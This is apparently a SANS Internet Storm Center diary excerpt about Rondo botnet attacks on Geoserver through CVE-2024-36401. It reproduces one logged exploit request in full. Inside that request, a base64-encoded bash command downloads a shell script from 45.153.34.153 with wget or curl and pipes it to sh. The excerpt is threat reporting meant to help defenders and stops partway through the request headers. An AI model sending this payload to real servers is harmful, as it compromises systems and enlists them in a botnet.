Rondo Meets Geoserver - SANS Internet Storm Center
A recent log entry revealed an ongoing attack targeting Geoserver through CVE-2024-36401, an X-Path expression evaluation flaw. The exploit attempts to execute arbitrary commands on vulnerable systems using the Rondo botnet. Attackers are deploying malicious shell scripts hosted remotely, leveraging multiple download methods such as wget and curl. This vulnerability allows unauthenticated attackers to run arbitrary code, making it critical for users to apply patches immediately.
This isn't a new attack, but something I saw "pop-up" in our logs this week:
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */*…